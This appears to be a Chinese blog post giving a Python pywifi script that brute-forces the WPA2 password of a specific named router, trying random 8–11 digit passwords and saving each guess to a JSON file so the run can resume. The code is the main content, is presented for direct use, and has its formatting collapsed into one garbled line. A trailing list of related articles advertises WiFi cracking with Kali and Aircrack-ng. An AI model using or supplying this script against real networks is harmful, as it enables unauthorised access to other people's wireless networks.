注:在相同目录下新建一个janywifi.json文件
随机生成8-11位数字,生成过的数字存在janywifi.json文件里,不重复,断点继续

import time  #时间
import pywifi  #破解wifi
from pywifi import const  #引用一些定义
from asyncio.tasks import sleep
import random,json
class PoJie():def __init__(self,path):self.file=open(path,"r",errors="ignore")wifi = pywifi.PyWiFi() #抓取网卡接口self.iface = wifi.interfaces()[0]#抓取第一个无限网卡self.iface.disconnect() #测试链接断开所有链接time.sleep(1) #休眠1秒#测试网卡是否属于断开状态,assert self.iface.status() in\[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]def readPassWord(self):print("开始暴力破解")while True:auth = ""  # 定义全局验证码变量rr = random.randint(8,11)for i in range(0, rr):  # 定义循环4次,形成4位验证码。current = random.randint(0, 1)  # 定义一个随机0-4的一个范围,去猜i 的值。#if current == 1:  # 如果current 和i 的值一样if 1:current_code = random.randint(0, 9)  # 生成一个随机的数字else:  # 如果current和i 的值不一样current_code = chr(random.randint(65, 90))  # 生成一个随机的字母,这里一定要主义chr()转换一下。auth += str(current_code)  # 将每次随机生成的值赋值给authwith open("janywifi.json", 'r', encoding="utf-8") as f:mywifi = json.load(f)f.close()if auth in mywifi:print("密码重复")continueelse:with open("janywifi.json", "w", encoding="utf-8") as fc:mywifi.append(auth)json.dump(mywifi, fc, ensure_ascii=False, indent=0)fc.close()try:if not auth:print("小本本里没密码,退出了")breakbool1=self.test_connect(auth)if bool1:print("尝试成功第:%s次  "%(len(mywifi)),auth)breakelse:print("尝试失败第:%s次  "%(len(mywifi)),auth)sleep(3)except:continuedef test_connect(self,findStr):#测试链接profile = pywifi.Profile()  #创建wifi链接文件profile.ssid ="TP-LINK_1401" #wifi名称profile.auth = const.AUTH_ALG_OPEN  #网卡的开放,profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法profile.cipher = const.CIPHER_TYPE_CCMP    #加密单元profile.key = findStr #密码self.iface.remove_all_network_profiles() #删除所有的wifi文件tmp_profile = self.iface.add_network_profile(profile)#设定新的链接文件self.iface.connect(tmp_profile)#链接time.sleep(5)if self.iface.status() == const.IFACE_CONNECTED:  #判断是否连接上isOK=Trueelse:isOK=Falseself.iface.disconnect() #断开time.sleep(1)#检查断开状态assert self.iface.status() in\[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]return isOKdef __del__(self):self.file.close()
path=r"csdnwifi.txt"
start=PoJie(path)
start.readPassWord()

pywifi暴力破解WIFI相关推荐

  1. 凯撒密码加密算法python_Python最新暴力破解WiFi,攻破所有密码限制,最强破解!...

    生成密码本 对于这个密码本就是我们常用的密码,一般是有数字.字母和符号组成.而现在呢?我们就用Python生成一个简单的密码本,这里用到的思路主要是穷举法.这里用到的库是itertools,没有的可以 ...

  2. Python 暴力破解wifi

    Python 使用pywifi模块暴力破解wifi实现自动登陆的效果,本次采用面向过程的方式编写,简单易懂. 思路: 首先检查是否拥有无限网卡 无线网卡是否连接到wifi 如果连接到wifi那么需要断 ...

  3. Kali使用Aircrack-ng进行暴力破解WIFI密码

    Kali系统使用Aircrack-ng进行暴力破解WIFI密码 一.什么是Aircrack-ng 运行环境 插入网卡设备 二.破解流程 1.进入管理员模式 2.查看网卡信息 3.杀掉冲突进程 4.查看 ...

  4. NO.28——Kali Linux无线渗透暴力破解WIFI密码

    近期放暑假在家闲来无事,前几天在手机上下载了腾讯wifi管家,意外地链接上了隔壁邻居的WIFI,但是在手机端无法看到密码明文,因此在考虑是否能通过Kali暴力破解wifi密码. Kali Linux常 ...

  5. 使用Kali Linux 暴力破解wifi密码详细步骤

    使用Kali Linux 暴力破解wifi密码详细步骤所谓暴力破解就是穷举法,将密码字典中每一个密码依次去与握手包中的密码进行匹配,直到匹配成功.所以能否成功破解wifi密码取决于密码字典本身是否包含 ...

  6. 自学python当黑客-用Python做黑客,暴力破解wifi密码

    前几篇文章主要介绍了使用delphi开发后门及简单的远控的知识,有小伙伴说delphi已经过时了没人用了,但是笔者觉得编程语言只是实现功能的一种方式,使用你熟悉或者喜欢的语言即可. 在最近的公司项目开 ...

  7. 如何在Windows平台用Java代码暴力破解WIFI密码

    开始进入正题.在网上找了很多wifi破解工具,都是linux平台下用的,然后还不支持虚拟机装linux.因为很多笔记本装虚拟机都识别不了内置网卡.所以得把系统刻到U盘,然后用U盘启动.但是我现在穷得连 ...

  8. 在linux系统下暴力破解WiFi密码

    结论:可以破开自己的,破不开别人家的.在此献上思路,仅供学习交流. 网络上的教程说的都太学术化了,其实暴力破解,就是拿wifi字典去一个一个试,如果邻居家的密码,正好在你的字典库里,那你就能成功找到, ...

  9. 通过Kali Linux暴力破解WiFi密码

    所需工具:Kali Linux系统.无线网卡(免驱动) 需要用到的命令: #查看网卡是否支持监听模式 airmon-ng #开启网卡监听 airmon-ng start 网卡名 #扫描附近WiFi a ...

最新文章

  1. 实验一 linux命令使用,实验一XXXXX常用linux命令的使用(一)
  2. 在Ubuntu中用anaconda快速安装opencv3
  3. vuex模块化 怎么引用state_[Vuex系列] - 细说state的几种用法
  4. Kyma Application Connectivity 特性介绍
  5. centos6 dns转发_CentOS6 配置DNS服务器
  6. 互联网和大数据是什么意思_大数据和互联网的区别是什么意思
  7. 腾讯区块链专利申请量排名全国第一;摩拜超20.56万单车被破坏;Nginx 1.17.7发布 | 极客头条...
  8. python做可视化_python可视化界面怎么做?
  9. Hustoj mdui Web界面修改
  10. android父布局的右侧,相对布局(RelativeLayout)的控件运用
  11. 我被选中为TOM邮箱6.0新版体验官
  12. 人脸识别——OpenCV调取摄像头识别人脸
  13. c语言中=是什么意思,c语言中==是什么意思?
  14. SVN更新出错 提示:working copy XXX locked
  15. 五环电阻和四环电阻的区别是什么
  16. firewall ip白名单设置
  17. Apache 服务器 SSL 证书到期-续期处理步骤
  18. 开机时User服务器未能登录,Win10开机提示user profile service服务登录失败的原因及解决方法...
  19. 数据服务开发工具(Magic-API)
  20. 微信小程序动态获取和设置元素宽高

热门文章

  1. 在牛客网爆火的Java岗25大技术栈!(含答案)
  2. 帝国CMS调用自定义列表名称的方法(简单二次开发实现)
  3. 华尔街:金钱永不眠的日记
  4. qt桌面应用-闹钟提醒
  5. 最新WordPress网址导航主题模板+自适应手机端
  6. 2019 0828浦发银行面经
  7. 第五章:Tensorflow 2.0 利用十三层卷积神经网络实现cifar 100训练(理论+实战)
  8. Syzmlw让子弹飞下载地址
  9. 魅力数学(国内外知名数学家、数学教育家参编)
  10. php模板目录结构图,WordPress模板目录结构详细解读